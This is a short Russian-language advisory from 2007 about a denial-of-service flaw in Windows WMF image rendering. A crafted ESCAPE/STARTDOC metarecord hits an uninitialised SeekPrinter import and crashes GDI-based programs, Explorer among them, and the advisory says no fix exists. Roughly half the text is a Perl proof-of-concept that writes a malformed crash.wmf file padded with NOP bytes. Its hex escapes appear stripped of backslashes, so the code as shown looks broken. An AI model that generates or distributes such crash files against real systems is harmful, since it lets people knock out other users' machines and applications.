22 Февраля, 2007

Отказ в обслуживаний в WMF

azm

Удаленный пользователь может с помощью специально сформированного изображения вызвать отказ в обслуживании приложения, использующего уязвимую библиотеку.
 Это происходит при отображении ESCAPE-метазаписи (фунция STARTDOC)так как, не инициализированый адреса импорта функции SeekPrinter из winspool.drv.
 Уязвимыми оказываются не только приложения успользующие напрямую GDI, но и приложения использующие функции shimgvw.dll как "высокоуровневой обёртки" GDI, такие как "Программа просмотра изображений и факсов" и Windows Explorer.
Способов устранения уязвимости не существует в настоящее время.

Эксплоит:

#!/usr/bin/perl

print "
WMF PoC denial of service exploit by AzM";
print "

generating crash.wmf...";
open(WMF, ">./crash.wmf") or die "cannot create wmf file
";
print WMF "x01x00x09x00x00x03x22x00x00x00x01x00x84x43x00x00";
print WMF "x00x00x10x00x00x00x26x06x0Ax00x16x00x90x90x90x90";
print WMF "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
print WMF "x90x90x90x90x90x90x90x90x90x90x90x90x90x00x03x00";
print WMF "x00x00x00x00";
close(WMF);
print "Ok
";